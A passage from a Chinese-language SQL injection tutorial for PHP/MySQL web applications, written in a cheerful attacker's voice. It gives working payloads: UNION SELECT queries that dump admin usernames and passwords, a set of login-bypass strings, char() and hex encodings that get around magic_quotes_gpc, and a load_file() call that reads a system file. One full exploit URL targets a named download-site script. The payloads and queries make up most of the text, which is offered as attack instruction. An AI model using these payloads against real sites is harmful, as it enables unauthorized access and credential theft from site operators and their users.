|
我们构建注入语句吧 在输入框输入 a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# % 结果如图17哦
怎么样,出来了吧,哈哈,一切尽在掌握之中。
C:下面我们从注入地点上在来看一下各种注入攻击方式 1) 首先来看看后台登陆哦 代码先 //login.php ....... $query="select * from alphaauthor where UserName= " .$HTTP_POST_VARS["UserName"]." and Password= ". $HTTP_POST_VARS["Password"]." "; $result=mysql_query($query); $data=mysql_fetch_array($result); if ($data) { echo "后台登陆成功"; } esle { echo "重新登陆"; exit; }
......... ?> Username和password没有经过任何处理直接放到sql中执行了。 看看我们怎么绕过呢? 最经典的还是那个: 在用户名和密码框里都输入 ‘or = 带入sql语句中成了 select * from alphaauthor where UserName= or = and Password= or = 这样带入得到的$data肯定为真,也就是我们成功登陆了。 还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。 我们可以用下面的这些中方法哦 1. 用户名和密码都输入 or a = a Sql成了 select * from alphaauthor where UserName= or a = a and Password= or a = a
2. 用户名和密码都输入 or 1=1 and ‘ = Sql成了 select * from alphaauthor where UserName= or 1=1 and ‘ = and Password= or 1=1 and ‘ =
用户名和密码都输入 or 2>1 and ‘ = Sql成了 select * from alphaauthor where UserName= or 2>1 and ‘ = and Password= or 2>1 and ‘ =
3. 用户名输入 or 1=1 # 密码随便输入 Sql成了 select * from alphaauthor where UserName= or 1=1 # and Password= anything
后面部分被注释掉了,当然返回还是真哦。 4. 假设admin的id=1的话你也可以
用户名输入 or id=1 # 密码随便输入 Sql成了 select * from alphaauthor where UserName= or id=1 # and Password= anything 如图18
看看效果图19
怎么样?直接登陆了哦!
俗话说的好,只有想不到没有做不到。 还有更多的构造方法等着课后自己想啦。
2)第二个常用注入的地方应该算是前台资料显示的地方了。 上面已经多次提到了呀,而且涉及了数字型,字符型等等,这里就不再重复了哈。 只是举个例子回顾一下 碧海潮声下载站 - v2.0.3 lite有注入漏洞,代码就不再列出来了 直接看结果 http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select% 201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from% 20dl_users 如图20
看看,我们又得到我们想要的了 用户名alpha 密码一长串。 为什么我们要把password放在3字段处,把username放在5字段处了,我们上面已经提过了哦,就是我们猜测3和5段显示的应该是字符串型,而与我们要显示的username和password的字段类型应该相同,所以我们这样放了哦。 为什么要用18个字段呢?不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同,我们可以通过增加select的个数来猜测到需要18个字段,只有这样union select的内容才会正常显示哦! 3)其它如资料修改,用户注册的地方主要得有用户等级的应用。 我们在上面讲述update和insert的时候都已经讲到,因为不是很常用,这里就不再阐述,在下面将会提到一些关于update和insert的高级利用技巧。 二:下面将要进入magic_quotes_gpc=On时候的注入攻击教学环节了 当magic_quotes_gpc=On的时候,交的变量中所有的 (单引号), " (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。 这就使字符型注入的方法化为泡影,这时候我们就只能注入数字型且没有 Intval()处理的情况了,数字型的我们已经讲了很多了是吧,由于数字型没有用到单引号自然就没有绕过的问题了,对于这种情况我们直接注入就可以了。 1)假如是字符型的就必须得像下面这个样子,没有在字符上加引号 。 这里我们要用到一些字符串处理函数先, 字符串处理函数有很多,这里我们主要讲下面的几个,具体可以参照mysql中文参考手册7.4.10。 char() 将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。 当然你也可以用字符的16进制来代替字符,这样也可以的,方法就是在16进制前面加0x,看下面的例子就明白了。
//login.php ...... $query="select * from ".$art_system_db_table[ user ]." where UserName=$username and Password= ".$Pw." "; ...... ?>
假设我们知道后台的用户名是alpha 转化成ASCII后是char(97,108,112,104,97) 转化成16进制是0x616C706861 (我们将在光盘中提供16进制和ascii转换工具) 好了直接在浏览器里输入:
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23 sql语句变成:
select * from alphaAut
hor where UserName=char(97,108,112,104,97)# and Password= 如图21
正如我们期望的那样,他顺利执行了,我们得到我们想要的。 当然咯,我们也可以这样构造 http://localhost/site/admin/login.php?username=0x616C706861%23 sql语句变成: select * from alphaAuthor where UserName=0x616C706861%23# and Password= 我们再一次是成功者了。很有成就感吧,
或许你会问我们是否可以把#也放在char()里 实际上char(97,108,112,104,97)相当于 alpha 注意是alpha上加引号,表示alpha字符串。 我们知道在mysql中如果执行
mysql> select * from dl_users where username=alpha; ERROR 1054 (42S22): Unknown column alpha in where clause 看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。 如下 mysql> select * from dl_users where username= alpha ; 这样才是正确的。 如果你把#号也放到那里去了,就成了 alpha# 带入sql语句中 select * from dl_users where username= alpha# ; 当然是什么也没有了,因为连alpha#这个用户都没有。 好,下面我们再来看个例子,
//display.php ...... $query="select * from ".$art_system_db_table[ article ]." where type=$type; ...... ?>
代码根据类型来显示内容,$type没有任何过滤,且没有加引号放入程序中。 假设type中含有xiaohua类,xiaohua的char()转换后是 char(120,105,97,111,104,117,97)
我们构建 http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor 带入sql语句中为: select * from ".$art_system_db_table[ article ]." where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor 看看,我们的用户名和密码照样出来了哦!没有截图,想像一下咯:P
2) 或许有人会问,在magic_quotes_gpc=On的情况下功能强大的load_file()还能不能用呢? 这正是我们下面要将的问题了,load_file()的使用格式是load_file(‘文件路径 ) 我们发现只要把‘文件路径 转化成char()就可以了。试试看哦 load_file(‘c:/boot.ini )转化成 load_file(char(99,58,47,98,111,111,116,46,105,110,105)) 图22
放到具体注入里就是 http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select% 201,2,load_file(char (99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16, 17,18 看图23
看看,我们看到了boot.ini的内容了哦。 很可惜的是into outfile 不能绕过,不然就更爽了。但是还是有一个地方可以使用select * from table into outfile 那就是....(先卖个关子,下面会告诉你)
|